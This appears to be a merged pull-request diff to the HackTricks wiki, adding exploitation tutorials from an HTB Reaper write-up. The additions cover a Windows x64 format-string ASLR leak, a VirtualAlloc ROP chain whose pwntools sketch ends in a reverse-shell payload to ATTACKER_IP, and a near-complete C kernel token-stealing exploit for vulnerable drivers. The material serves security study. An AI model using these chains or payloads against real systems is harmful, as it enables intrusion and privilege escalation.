Merge pull request #1354 from HackTricks-wiki/update_HTB_Reaper__Format-string_leak___stack_BOF___Virtu_20250827_170453

HTB Reaper Format-string leak + stack BOF → VirtualAlloc ROP...

Author: carlospolop

src/SUMMARY.md

@@ -234,6 +234,7 @@
 - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
 - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
 - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
+  - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
   - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
   - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
   - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

src/binary-exploitation/format-strings/README.md

@@ -153,7 +153,7 @@ Arbitrary reads can be useful to:
 
 ## **Arbitrary Write**
 
-The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
+The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the <num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
 
 Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
 
@@ -227,6 +227,46 @@ p.interactive()
 
 It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
 
+
+## Windows x64: Format-string leak to bypass ASLR (no varargs)
+
+On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In many buggy call-sites the attacker-controlled string is used as the format argument but no variadic arguments are provided, for example:
+
+```c
+// keyData is fully controlled by the client
+// _snprintf(dst, len, fmt, ...)
+_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
+```
+
+Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
+
+Practical workflow:
+
+- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
+- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
+- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
+
+Example (abbreviated python):
+
+```python
+from pwn import remote
+
+# Send an input that the vulnerable code will pass as the "format"
+fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
+io = remote(HOST, 4141)
+# ... drive protocol to reach the vulnerable snprintf ...
+leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
+base   = leaked - 0x20660                     # module base = leak - offset
+print(hex(leaked), hex(base))
+```
+
+Notes:
+- The exact offset to subtract is found once during local reversing and then reused (same binary/version).
+- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
+- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them.
+
+This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives.
+
 ## Other Examples & References
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
@@ -240,6 +280,9 @@ It's possible to abuse the write actions of a format string vulnerability to **w
   - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
 
 
-{{#include ../../banners/hacktricks-training.md}}
+## References
 
+- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
+- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
 
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -76,7 +76,75 @@ This script constructs a payload consisting of a **NOP slide**, the **shellcode*
 
 The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
 
-## Protections
+## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
+
+On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
+
+Key points (Win64 calling convention):
+- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
+  - RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
+  - RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
+  - R8  = flAllocationType = MEM_COMMIT (0x1000)
+  - R9  = flProtect = PAGE_EXECUTE_READWRITE (0x40)
+- Return directly into the shellcode placed right after the chain.
+
+Minimal strategy:
+1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
+2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
+3) Place stage-2 shellcode immediately after the chain.
+
+Example layout (conceptual):
+```
+# ... padding up to saved RIP ...
+# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
+POP_R9_RET; 0x40
+# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
+POP_R8_RET; 0x1000
+# RCX = &stack (lpAddress)
+LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
+# RDX = size (dwSize)
+POP_RDX_RET; 0x1000
+# Call VirtualAlloc via the IAT
+[IAT_VirtualAlloc]
+# New RWX memory at RCX — execution continues at the next stack qword
+JMP_SHELLCODE_OR_RET
+# ---- stage-2 shellcode (x64) ----
+```
+
+With a constrained gadget set, you can craft register values indirectly, for example:
+- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword.
+- xor rbx, rsp; ret → seed rbx with the current stack pointer.
+- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX.
+
+Pwntools sketch (given a known base and gadgets):
+```python
+from pwn import *
+base = 0x7ff6693b0000
+IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
+rop  = b''
+# r9 = 0x40
+rop += p64(base+POP_RBX_RET) + p64(0x40)
+rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
+# rcx = rsp
+rop += p64(base+POP_RBX_RET) + p64(0)
+rop += p64(base+XOR_RBX_RSP_RET)
+rop += p64(base+PUSH_RBX_POP_RAX_RET)
+rop += p64(base+MOV_RCX_RAX_RET)
+# r8 = 0x1000 via arithmetic if no pop r8
+for _ in range(0x1000//0x40):
+    rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
+# rdx = 0x1000 (use any available gadget)
+rop += p64(base+POP_RDX_RET) + p64(0x1000)
+# call VirtualAlloc and land in shellcode
+rop += p64(IAT_VirtualAlloc)
+rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
+```
+
+Tips:
+- VirtualProtect works similarly if making an existing buffer RX is preferable; the parameter order is different.
+- If the stack space is tight, allocate RWX elsewhere (RCX=NULL) and jmp to that new region instead of reusing the stack.
+- Always account for gadgets that adjust RSP (e.g., add rsp, 8; ret) by inserting junk qwords.
+
 
 - [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
 - [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) should be also disabled or the compromised EIP return address won't never be followed.
@@ -94,6 +162,12 @@ The **NOP slide** (`asm('nop')`) is used to increase the chance that execution w
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
   - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
 
+
+## References
+
+- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
+- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
+
 {{#include ../../../banners/hacktricks-training.md}}
 
 

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -733,6 +733,13 @@ driverquery.exe /fo table
 driverquery /SI
 ```
 
+If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
+
+{{#ref}}
+arbitrary-kernel-rw-token-theft.md
+{{#endref}}
+
+
 ## PATH DLL Hijacking
 
 If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**.
@@ -1830,4 +1837,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
 - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
 
+- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
+
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md

@@ -0,0 +1,124 @@
+# Windows kernel EoP: Token stealing with arbitrary kernel R/W
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Overview
+
+If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS.
+
+Why it works:
+- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object).
+- The SYSTEM process (PID 4) holds a token with all privileges enabled.
+- Replacing the current process’ EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately.
+
+> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
+
+## High-level steps
+
+1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
+   - From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
+   - Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
+2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
+3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
+   - EPROCESS_SYSTEM (for SYSTEM)
+   - EPROCESS_SELF (for the current process)
+4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
+   - Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
+5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
+   - Token_ME = *(EPROCESS_SELF + TokenOffset)
+   - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
+6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
+7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
+
+## Pseudocode
+
+Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
+
+```c
+#include <Windows.h>
+#include <Psapi.h>
+#include <stdint.h>
+
+// Device + IOCTLs are driver-specific
+#define DEV_PATH   "\\\\.\\VulnDrv"
+#define IOCTL_KREAD  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
+
+// Version-specific (examples only – resolve per build!)
+static const uint32_t Off_EPROCESS_UniquePid    = 0x448; // varies
+static const uint32_t Off_EPROCESS_Token        = 0x4b8; // varies
+static const uint32_t Off_EPROCESS_ActiveLinks  = 0x448 + 0x8; // often UniquePid+8, varies
+
+BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
+    struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
+    in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
+}
+BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
+    struct { uint64_t addr, val; } in; DWORD ret;
+    in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
+}
+
+// Get ntoskrnl base (one option)
+uint64_t get_nt_base(void) {
+    LPVOID drivers[1024]; DWORD cbNeeded;
+    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
+        return (uint64_t)drivers[0]; // first is typically ntoskrnl
+    }
+    return 0;
+}
+
+int main(void) {
+    HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+    if (h == INVALID_HANDLE_VALUE) return 1;
+
+    // 1) Resolve PsInitialSystemProcess
+    uint64_t nt = get_nt_base();
+    uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
+
+    // 2) Read SYSTEM EPROCESS
+    uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
+
+    // 3) Walk ActiveProcessLinks to find current EPROCESS
+    DWORD myPid = GetCurrentProcessId();
+    uint64_t cur = EPROC_SYS; // list is circular
+    uint64_t EPROC_ME = 0;
+    do {
+        uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
+        if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
+        uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
+        cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
+    } while (cur != EPROC_SYS);
+
+    // 4) Read tokens
+    uint64_t tok_sys, tok_me;
+    kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
+    kread_qword(h, EPROC_ME  + Off_EPROCESS_Token, &tok_me);
+
+    // 5) Mask EX_FAST_REF low bits and splice refcount bits
+    uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
+    uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
+
+    // 6) Write back
+    kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
+
+    // 7) We are SYSTEM now
+    system("cmd.exe");
+    return 0;
+}
+```
+
+Notes:
+- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
+- Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies.
+- Stability: Prefer elevating the current process; if you elevate a short-lived helper you may lose SYSTEM when it exits.
+
+## Detection & mitigation
+- Loading unsigned or untrusted third‑party drivers that expose powerful IOCTLs is the root cause.
+- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules can prevent vulnerable drivers from loading.
+- EDR can watch for suspicious IOCTL sequences that implement arbitrary read/write and for token swaps.
+
+## References
+- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
+- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
+
+{{#include ../../banners/hacktricks-training.md}}